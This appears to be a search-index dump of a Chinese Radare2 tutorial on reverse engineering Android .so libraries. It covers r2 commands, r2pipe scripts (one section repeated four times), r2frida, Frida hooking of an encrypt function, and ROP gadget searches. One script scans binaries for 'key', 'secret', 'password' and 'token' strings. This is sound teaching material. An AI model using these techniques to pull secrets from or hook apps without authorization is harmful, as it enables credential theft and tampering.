","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:4:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#android-so-分析实战"},{"categories":null,"collections":null,"content":"打开 ARM .so 文件 # 直接打开（r2 会自动识别架构） r2 -A libnative-lib.so # 如果自动识别失败，手动指定架构 r2 -a arm -b 32 libnative-lib.so # 32 位 ARM r2 -a arm -b 64 libnative-lib.so # 64 位 AArch64 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:4:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#打开-arm-so-文件"},{"categories":null,"collections":null,"content":"查看文件基本信息 # 打开后先查看文件元信息 [0x00000000]\u003e iI arch arm baddr 0x0 binsz 125432 bintype elf bits 64 canary true class ELF64 endian little machine AArch64 os linux relro full stripped true # 查看段（sections） [0x00000000]\u003e iS [Sections] nth paddr size vaddr vsize perm type name ―――――――――――――――――――――――――――――――――――――――――――――――――――――――― 0 0x00000000 0x0 0x00000000 0x0 ---- NULL 1 0x00000200 0x1c 0x00000200 0x1c -r-- NOTE .note.gnu.build-id 2 0x00000220 0x130 0x00000220 0x130 -r-- DYNSYM .dynsym ... # 查看导入的外部函数 [0x00000000]\u003e ii [Imports] nth vaddr bind type lib name ―――――――――――――――――――――――――――――――――― 1 0x00000680 GLOBAL FUNC __cxa_atexit 2 0x00000690 GLOBAL FUNC __android_log_print 3 0x000006a0 GLOBAL FUNC strlen ... # 查看导出函数（JNI 函数通常在这里） [0x00000000]\u003e iE [Exports] nth paddr vaddr bind type size lib name ―――――――――――――――――――――――――――――――――――――――― 0 0x00000abc 0x00000abc GLOBAL FUNC 128 Java_com_example_app_MainActivity_stringFromJNI 1 0x00000b3c 0x00000b3c GLOBAL FUNC 64 JNI_OnLoad ... ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:4:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#查看文件基本信息"},{"categories":null,"collections":null,"content":"分析与函数导航 # 全量分析（建议对 so 文件始终使用 aaa） [0x00000000]\u003e aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Finding and parsing C++ vtables (avrr) [x] Skipping type matching analysis in debugger mode (aaft) [x] Propagate noreturn information (aanr) [x] Use -AA or aaaa to perform additional experimental analysis. # 列出所有识别到的函数 [0x00000000]\u003e afl 0x00000abc 4 128 sym.Java_com_example_app_MainActivity_stringFromJNI 0x00000b3c 2 64 sym.JNI_OnLoad 0x00000b7c 8 256 fcn.00000b7c 0x00000c7c 3 96 fcn.00000c7c ... # 按名称过滤函数 [0x00000000]\u003e afl~JNI 0x00000abc 4 128 sym.Java_com_example_app_MainActivity_stringFromJNI 0x00000b3c 2 64 sym.JNI_OnLoad # 跳转到目标函数并反汇编 [0x00000000]\u003e s sym.Java_com_example_app_MainActivity_stringFromJNI [0x00000abc]\u003e pdf ; DATA XREF from entry0 @ 0x680 ┌ 128: sym.Java_com_example_app_MainActivity_stringFromJNI (int64_t arg1, int64_t arg2); │ ; arg int64_t arg1 @ x0 │ ; arg int64_t arg2 @ x1 │ 0x00000abc fd7bbfa9 stp x29, x30, [sp, -0x10]! │ 0x00000ac0 fd030091 mov x29, sp │ 0x00000ac4 e00300aa mov x0, x0 │ 0x00000ac8 01000090 adrp x1, 0x1000 │ 0x00000acc 21c04091 add x1, x1, 0x130 │ ... └ 0x00000b38 c0035fd6 ret ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:4:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#分析与函数导航"},{"categories":null,"collections":null,"content":"分析 JNI_OnLoad JNI_OnLoad 是分析 Android SO 的关键入口。许多加固方案和动态注册逻辑都在此函数中： [0x00000000]\u003e s sym.JNI_OnLoad [0x00000b3c]\u003e pdf # 查看该函数调用了哪些其他函数 [0x00000b3c]\u003e afcc sym.JNI_OnLoad calls: sym.imp.__android_log_print fcn.00000b7c sym.imp.RegisterNatives ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:4:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#分析-jni_onload"},{"categories":null,"collections":null,"content":"查看字符串资源 Android SO 中的字符串往往包含关键信息（日志标签、URL、加密密钥等）： # 列出所有字符串 [0x00000000]\u003e iz [Strings] nth paddr vaddr len size section type string ―――――――――――――――――――――――――――――――――――――――――――― 0 0x00001000 0x00001000 13 14 .rodata ascii Hello from C++ 1 0x00001010 0x00001010 11 12 .rodata ascii native-lib 2 0x00001020 0x00001020 28 29 .rodata ascii https://api.example.com/v2 ... # 仅列出 .rodata 段中的字符串 [0x00000000]\u003e izz~.rodata ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:4:5","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#查看字符串资源"},{"categories":null,"collections":null,"content":"Radare2 命令速查 以下是按类别整理的常用命令速查表。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:5:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#radare2-命令速查"},{"categories":null,"collections":null,"content":"信息与元数据 命令 说明 iI 文件基本信息（架构、位数、大小端等） ie 入口点 (entrypoints) iS 段信息 (sections) iS. 当前地址所在段 is 符号表 (symbols) ii 导入表 (imports) iE 导出表 (exports) il 链接的动态库 (libraries) iz 数据段字符串 izz 整个文件中的字符串 ic 类信息（C++ / ObjC / Java） ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:5:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#信息与元数据"},{"categories":null,"collections":null,"content":"分析 命令 说明 aa 基础分析 aaa 完整自动分析（推荐） aaaa 实验性深度分析 af 分析当前位置的函数 afl 列出所有函数 afll 列出所有函数（详细模式，含大小、调用数） aflj 以 JSON 格式列出函数（方便脚本处理） afi 当前函数详细信息 afcc 当前函数的调用关系 afvd 显示函数的局部变量 axt 查找对当前地址的交叉引用 (xrefs to) axf 查找当前地址引用的目标 (xrefs from) agc 函数调用图（文本） agCd 全局调用图（dot 格式，可导出） ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:5:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#分析"},{"categories":null,"collections":null,"content":"打印与显示 命令 说明 pd N 反汇编 N 条指令 pdf 反汇编当前函数 pdc 伪代码输出（内置反编译器） pdg Ghidra 反编译器输出（需插件） px N 十六进制转储 N 字节 pxw N 以 word (4 字节) 格式显示 ps @ addr 打印指定地址的字符串 psz 打印以零结尾的字符串 pf 按格式化结构体打印 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:5:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#打印与显示"},{"categories":null,"collections":null,"content":"跳转与导航 命令 说明 s addr 跳转到指定地址 s funcname 跳转到函数名 s- 后退 s+ 前进 s$$ 跳转到文件末尾 sr reg 跳转到寄存器值对应地址 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:5:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#跳转与导航"},{"categories":null,"collections":null,"content":"搜索 命令 说明 / string 搜索字符串 /x 9090 搜索十六进制模式 /r addr 搜索对某地址的引用 /R pattern 搜索 ROP gadgets /a asm_instr 搜索汇编指令 /c jmp 搜索含指定指令的位置 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:5:5","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#搜索"},{"categories":null,"collections":null,"content":"标记与注释 命令 说明 f name @ addr 在地址上添加标记 (flag) f- name 删除标记 CC comment @ addr 在地址上添加注释 CC- 删除注释 afn newname 重命名当前函数 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:5:6","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#标记与注释"},{"categories":null,"collections":null,"content":"调试 命令 说明 db addr 设置断点 db- addr 删除断点 dbl 列出所有断点 dc 继续执行 (continue) ds 单步步入 (step into) dso 单步步过 (step over) dr 显示所有寄存器 dr rax 显示指定寄存器 dm 显示内存映射 dbt 显示调用栈 (backtrace) ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:5:7","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#调试"},{"categories":null,"collections":null,"content":"脚本与自动化 Radare2 的精髓在于自动化。可以通过多种方式实现脚本化分析。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:6:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#脚本与自动化"},{"categories":null,"collections":null,"content":"r2pipe（Python） r2pipe 是 Radare2 官方的脚本库，支持 Python、JavaScript、Go、Rust 等多种语言。 安装 pip install r2pipe 基础用法 import r2pipe # 打开文件 r2 = r2pipe.open(\"libnative-lib.so\") # 运行 'aaa' 命令进行分析 r2.cmd('aaa') # 运行 'aflj' 命令获取 JSON 格式的函数列表并解析 functions = r2.cmdj('aflj') # 打印每个函数名 if functions: for func in functions: print(f\"Function: {func['name']} at {hex(func['offset'])} size={func['size']}\") r2.quit() 批量提取 JNI 函数信息 import r2pipe import json def analyze_jni_so(filepath): \"\"\"分析 Android SO 文件中的 JNI 函数\"\"\" r2 = r2pipe.open(filepath) r2.cmd('aaa') # 获取所有导出函数 exports = r2.cmdj('iEj') jni_funcs = [e for e in exports if e['name'].startswith('Java_')] print(f\"[*] 找到 {len(jni_funcs)} 个 JNI 函数:\") for func in jni_funcs: addr = func['vaddr'] name = func['name'] # 解析 JNI 命名规则：Java_包名_类名_方法名 parts = name.split('_') if len(parts) \u003e= 4: method = parts[-1] clazz = parts[-2] print(f\" {clazz}.{method}() @ {hex(addr)}\") # 获取该函数的反汇编 disasm = r2.cmd(f'pdf @ {addr}') # 检查该函数是否调用了加密相关函数 if any(kw in disasm for kw in ['AES', 'encrypt', 'decrypt', 'cipher']): print(f\" [!] 该函数可能涉及加密操作\") # 获取字符串列表 strings = r2.cmdj('izj') suspicious = [s for s in strings if any(kw in s.get('string', '') for kw in ['http', 'key', 'secret', 'password', 'token'])] if suspicious: print(f\"\\n[*] 发现 {len(suspicious)} 个可疑字符串:\") for s in suspicious: print(f\" 0x{s['vaddr']:08x}: {s['string']}\") r2.quit() # 使用 analyze_jni_so(\"libnative-lib.so\") ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:6:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#r2pipepython"},{"categories":null,"collections":null,"content":"r2pipe（Python） r2pipe 是 Radare2 官方的脚本库，支持 Python、JavaScript、Go、Rust 等多种语言。 安装 pip install r2pipe 基础用法 import r2pipe # 打开文件 r2 = r2pipe.open(\"libnative-lib.so\") # 运行 'aaa' 命令进行分析 r2.cmd('aaa') # 运行 'aflj' 命令获取 JSON 格式的函数列表并解析 functions = r2.cmdj('aflj') # 打印每个函数名 if functions: for func in functions: print(f\"Function: {func['name']} at {hex(func['offset'])} size={func['size']}\") r2.quit() 批量提取 JNI 函数信息 import r2pipe import json def analyze_jni_so(filepath): \"\"\"分析 Android SO 文件中的 JNI 函数\"\"\" r2 = r2pipe.open(filepath) r2.cmd('aaa') # 获取所有导出函数 exports = r2.cmdj('iEj') jni_funcs = [e for e in exports if e['name'].startswith('Java_')] print(f\"[*] 找到 {len(jni_funcs)} 个 JNI 函数:\") for func in jni_funcs: addr = func['vaddr'] name = func['name'] # 解析 JNI 命名规则：Java_包名_类名_方法名 parts = name.split('_') if len(parts) \u003e= 4: method = parts[-1] clazz = parts[-2] print(f\" {clazz}.{method}() @ {hex(addr)}\") # 获取该函数的反汇编 disasm = r2.cmd(f'pdf @ {addr}') # 检查该函数是否调用了加密相关函数 if any(kw in disasm for kw in ['AES', 'encrypt', 'decrypt', 'cipher']): print(f\" [!] 该函数可能涉及加密操作\") # 获取字符串列表 strings = r2.cmdj('izj') suspicious = [s for s in strings if any(kw in s.get('string', '') for kw in ['http', 'key', 'secret', 'password', 'token'])] if suspicious: print(f\"\\n[*] 发现 {len(suspicious)} 个可疑字符串:\") for s in suspicious: print(f\" 0x{s['vaddr']:08x}: {s['string']}\") r2.quit() # 使用 analyze_jni_so(\"libnative-lib.so\") ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:6:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#安装"},{"categories":null,"collections":null,"content":"r2pipe（Python） r2pipe 是 Radare2 官方的脚本库，支持 Python、JavaScript、Go、Rust 等多种语言。 安装 pip install r2pipe 基础用法 import r2pipe # 打开文件 r2 = r2pipe.open(\"libnative-lib.so\") # 运行 'aaa' 命令进行分析 r2.cmd('aaa') # 运行 'aflj' 命令获取 JSON 格式的函数列表并解析 functions = r2.cmdj('aflj') # 打印每个函数名 if functions: for func in functions: print(f\"Function: {func['name']} at {hex(func['offset'])} size={func['size']}\") r2.quit() 批量提取 JNI 函数信息 import r2pipe import json def analyze_jni_so(filepath): \"\"\"分析 Android SO 文件中的 JNI 函数\"\"\" r2 = r2pipe.open(filepath) r2.cmd('aaa') # 获取所有导出函数 exports = r2.cmdj('iEj') jni_funcs = [e for e in exports if e['name'].startswith('Java_')] print(f\"[*] 找到 {len(jni_funcs)} 个 JNI 函数:\") for func in jni_funcs: addr = func['vaddr'] name = func['name'] # 解析 JNI 命名规则：Java_包名_类名_方法名 parts = name.split('_') if len(parts) \u003e= 4: method = parts[-1] clazz = parts[-2] print(f\" {clazz}.{method}() @ {hex(addr)}\") # 获取该函数的反汇编 disasm = r2.cmd(f'pdf @ {addr}') # 检查该函数是否调用了加密相关函数 if any(kw in disasm for kw in ['AES', 'encrypt', 'decrypt', 'cipher']): print(f\" [!] 该函数可能涉及加密操作\") # 获取字符串列表 strings = r2.cmdj('izj') suspicious = [s for s in strings if any(kw in s.get('string', '') for kw in ['http', 'key', 'secret', 'password', 'token'])] if suspicious: print(f\"\\n[*] 发现 {len(suspicious)} 个可疑字符串:\") for s in suspicious: print(f\" 0x{s['vaddr']:08x}: {s['string']}\") r2.quit() # 使用 analyze_jni_so(\"libnative-lib.so\") ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:6:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#基础用法"},{"categories":null,"collections":null,"content":"r2pipe（Python） r2pipe 是 Radare2 官方的脚本库，支持 Python、JavaScript、Go、Rust 等多种语言。 安装 pip install r2pipe 基础用法 import r2pipe # 打开文件 r2 = r2pipe.open(\"libnative-lib.so\") # 运行 'aaa' 命令进行分析 r2.cmd('aaa') # 运行 'aflj' 命令获取 JSON 格式的函数列表并解析 functions = r2.cmdj('aflj') # 打印每个函数名 if functions: for func in functions: print(f\"Function: {func['name']} at {hex(func['offset'])} size={func['size']}\") r2.quit() 批量提取 JNI 函数信息 import r2pipe import json def analyze_jni_so(filepath): \"\"\"分析 Android SO 文件中的 JNI 函数\"\"\" r2 = r2pipe.open(filepath) r2.cmd('aaa') # 获取所有导出函数 exports = r2.cmdj('iEj') jni_funcs = [e for e in exports if e['name'].startswith('Java_')] print(f\"[*] 找到 {len(jni_funcs)} 个 JNI 函数:\") for func in jni_funcs: addr = func['vaddr'] name = func['name'] # 解析 JNI 命名规则：Java_包名_类名_方法名 parts = name.split('_') if len(parts) \u003e= 4: method = parts[-1] clazz = parts[-2] print(f\" {clazz}.{method}() @ {hex(addr)}\") # 获取该函数的反汇编 disasm = r2.cmd(f'pdf @ {addr}') # 检查该函数是否调用了加密相关函数 if any(kw in disasm for kw in ['AES', 'encrypt', 'decrypt', 'cipher']): print(f\" [!] 该函数可能涉及加密操作\") # 获取字符串列表 strings = r2.cmdj('izj') suspicious = [s for s in strings if any(kw in s.get('string', '') for kw in ['http', 'key', 'secret', 'password', 'token'])] if suspicious: print(f\"\\n[*] 发现 {len(suspicious)} 个可疑字符串:\") for s in suspicious: print(f\" 0x{s['vaddr']:08x}: {s['string']}\") r2.quit() # 使用 analyze_jni_so(\"libnative-lib.so\") ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:6:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#批量提取-jni-函数信息"},{"categories":null,"collections":null,"content":"r2pipe（JavaScript / Node.js） const r2pipe = require('r2pipe'); r2pipe.open('libnative-lib.so', (err, r2) =\u003e { r2.cmd('aaa', () =\u003e { r2.cmdj('aflj', (err, funcs) =\u003e { funcs.forEach(f =\u003e { console.log(`${f.name} @ 0x${f.offset.toString(16)}`); }); r2.quit(); }); }); }); ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:6:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#r2pipejavascript--nodejs"},{"categories":null,"collections":null,"content":"r2 内置脚本 除了 r2pipe，你也可以直接在 r2 的交互 shell 中执行脚本： # 在 r2 中执行外部脚本 [0x00000000]\u003e . script.r2 # 使用内置宏 [0x00000000]\u003e (analyze_func addr; s $0; af; pdf) [0x00000000]\u003e .(analyze_func 0x1234) script.r2 文件内容示例： # script.r2 - 自动分析脚本 aaa afl~JNI s sym.JNI_OnLoad pdf ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:6:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#r2-内置脚本"},{"categories":null,"collections":null,"content":"批量处理多个 SO 文件 #!/bin/bash # batch_analyze.sh - 批量分析 APK 解压后的所有 SO 文件 SO_DIR=\"./lib/arm64-v8a\" for so in \"$SO_DIR\"/*.so; do echo \"========== 分析: $so ==========\" r2 -q -c ' aaa; echo \"--- 导出函数 ---\"; iE~FUNC; echo \"--- 可疑字符串 ---\"; izz~http; izz~encrypt; izz~decrypt; izz~key ' \"$so\" echo \"\" done ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:6:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#批量处理多个-so-文件"},{"categories":null,"collections":null,"content":"与 Frida 联动 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:7:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#与-frida-联动"},{"categories":null,"collections":null,"content":"r2frida 简介 r2frida 是一个将 Radare2 和 Frida 结合的插件。它允许你用 Radare2 的命令行接口来操作一个正在运行的进程，底层通过 Frida 实现注入和内存访问。这意味着你可以在不 root 的设备上，使用 r2 的全部分析命令来探查运行时内存。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:7:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#r2frida-简介"},{"categories":null,"collections":null,"content":"安装 r2frida # 通过 r2pm（r2 包管理器）安装 r2pm -ci r2frida ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:7:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#安装-r2frida"},{"categories":null,"collections":null,"content":"基本用法 # 附加到正在运行的 Android 进程 r2 frida://attach/usb//com.example.app # 启动并附加 r2 frida://spawn/usb//com.example.app # 连接后，你就进入了 r2 的交互 shell，但后端是 Frida ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:7:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#基本用法"},{"categories":null,"collections":null,"content":"r2frida 常用命令 在 r2frida 会话中，所有以 \\ 或 : 开头的命令是 Frida 特有命令： # 列出已加载的模块（SO 库） [0x00000000]\u003e \\il 0x7a3b4c0000 128K libnative-lib.so 0x7a3b5e0000 2.1M libart.so 0x7a3b800000 1.5M libc.so ... # 列出模块的导出函数 [0x00000000]\u003e \\iE libnative-lib.so # 搜索内存中的字符串 [0x00000000]\u003e \\/ Hello from C++ # 读取运行时内存 [0x00000000]\u003e s 0x7a3b4c0abc [0x7a3b4c0abc]\u003e px 64 # 在运行时给函数下钩子 [0x00000000]\u003e \\di0 sym.Java_com_example_app_MainActivity_stringFromJNI ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:7:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#r2frida-常用命令"},{"categories":null,"collections":null,"content":"静态 + 动态联合分析工作流 一个典型的结合 Radare2 静态分析和 Frida 动态分析的工作流如下： 静态分析阶段：用 r2 打开 SO 文件，完成 aaa 分析，定位关键函数和字符串 确定 Hook 点：通过 axt（交叉引用）和 pdf（反汇编）确认要监控的函数地址 动态验证：用 r2frida 附加到运行中的 App，在目标地址查看运行时数据 编写 Frida 脚本：基于静态分析获得的偏移量，编写 Frida hook 脚本 # 示例：先用 r2 找到偏移量，再用 Frida hook import r2pipe import frida # 第一步：静态分析获取偏移 r2 = r2pipe.open(\"libnative-lib.so\") r2.cmd('aaa') target_func = r2.cmdj('aflj~{name:encrypt_data}') if target_func: offset = target_func[0]['offset'] print(f\"[*] 目标函数偏移: {hex(offset)}\") r2.quit() # 第二步：用 Frida 在运行时 hook 该偏移 js_code = f\"\"\" var base = Module.findBaseAddress(\"libnative-lib.so\"); var target = base.add({hex(offset)}); Interceptor.attach(target, {{ onEnter: function(args) {{ console.log(\"[*] encrypt_data 被调用\"); console.log(\"[*] 参数1: \" + args[0].readUtf8String()); }}, onLeave: function(retval) {{ console.log(\"[*] 返回值: \" + retval.readUtf8String()); }} }}); \"\"\" ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:7:5","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#静态--动态联合分析工作流"},{"categories":null,"collections":null,"content":"Visual 模式详解 Radare2 虽然是命令行工具，但提供了丰富的文本用户界面（TUI）模式。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:8:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#visual-模式详解"},{"categories":null,"collections":null,"content":"V 模式（基础可视化） 在命令行中输入 V 进入基础可视化模式： [0x00000000]\u003e V 在 V 模式中的常用按键： 按键 说明 p / P 向前/向后切换视图面板（反汇编、十六进制等） j / k 向下/向上滚动 J / K 向下/向上翻页 g 跳转到指定地址或函数 Enter 跟随跳转（进入被调用函数） u 撤销跳转（返回上一位置） x 查看交叉引用 : 进入命令行模式（执行 r2 命令） q 退出可视化模式 V 模式通过按 p 可以在以下视图之间循环切换： 反汇编视图：显示当前地址的汇编代码 十六进制视图：显示原始字节的 hex dump 调试视图：显示寄存器、栈等调试信息 字符串/数据视图：以数据方式解释当前区域 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:8:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#v-模式基础可视化"},{"categories":null,"collections":null,"content":"VV 模式（控制流图） VV 模式是 Radare2 的 ASCII-art 控制流图，类似于 IDA Pro 的图形视图： # 先跳转到目标函数，再进入图模式 [0x00000000]\u003e s main [0x00001080]\u003e VV 在 VV 模式中的按键： 按键 说明 hjkl 移动图形视图（左/下/上/右） + / - 放大/缩小 Tab 在基本块之间跳转 t / f 跟随 true / false 分支 g 跳转到指定基本块 R 随机更换颜色方案 p 切换迷你图/完整图 q 退出图模式 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:8:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#vv-模式控制流图"},{"categories":null,"collections":null,"content":"Vd 模式（十六进制编辑） 在 V 模式中按 p 切换到十六进制视图后，你可以直接编辑字节（需要以 -w 写模式打开文件）： # 以写模式打开 r2 -w target.so # 进入可视化模式 -\u003e 按 p 切换到 hex 视图 [0x00000000]\u003e V # 按 p 直到看到十六进制视图 # 按 i 进入插入模式，可直接修改字节 # 按 q 退出 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:8:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#vd-模式十六进制编辑"},{"categories":null,"collections":null,"content":"Panel 模式 Panel 模式允许你在同一界面中同时显示多个窗口： [0x00000000]\u003e v # 或 [0x00000000]\u003e V! 按键 说明 Tab 在面板之间切换焦点 w 进入窗口管理模式 e 更改当前面板显示内容 ` /-` X 关闭当前面板 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:8:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#panel-模式"},{"categories":null,"collections":null,"content":"搜索与交叉引用 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:9:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#搜索与交叉引用"},{"categories":null,"collections":null,"content":"字符串搜索 # 在当前分析的二进制中搜索 ASCII 字符串 [0x00000000]\u003e / encrypt Searching 7 bytes in [0x0-0x1e000] hits: 3 0x00012340 hit0_0 \"encrypt_key\" 0x00012380 hit0_1 \"encrypt_data\" 0x000123c0 hit0_2 \"decrypted_result\" # 搜索宽字符（UTF-16）字符串 [0x00000000]\u003e /w password # 搜索并列出所有匹配结果 [0x00000000]\u003e fs hits [0x00000000]\u003e f ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:9:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#字符串搜索"},{"categories":null,"collections":null,"content":"十六进制模式搜索 # 搜索特定字节序列 [0x00000000]\u003e /x 7f454c46 # 搜索 ELF 魔数 [0x00000000]\u003e /x 504b0304 # 搜索 ZIP/APK 魔数 [0x00000000]\u003e /x 00009090..00 # 使用 .. 作为通配符 # 搜索 ARM 指令模式（如 BL 指令） [0x00000000]\u003e /x ....0094 # AArch64 的 BL 指令编码 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:9:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#十六进制模式搜索"},{"categories":null,"collections":null,"content":"汇编指令搜索 # 搜索特定汇编指令 [0x00000000]\u003e /a mov x0, x1 [0x00000000]\u003e /a svc 0 # 搜索系统调用 # 搜索 ROP gadgets [0x00000000]\u003e /R ret [0x00000000]\u003e /R pop # 搜索以 pop 开头的 gadget ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:9:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#汇编指令搜索"},{"categories":null,"collections":null,"content":"交叉引用分析 交叉引用（Cross References, xrefs）是逆向分析的核心能力之一： # 查找谁引用了当前地址（xrefs TO） [0x00012340]\u003e axt sym.encrypt_data 0x00000bfc [CALL] bl sym.imp.strlen sym.JNI_OnLoad 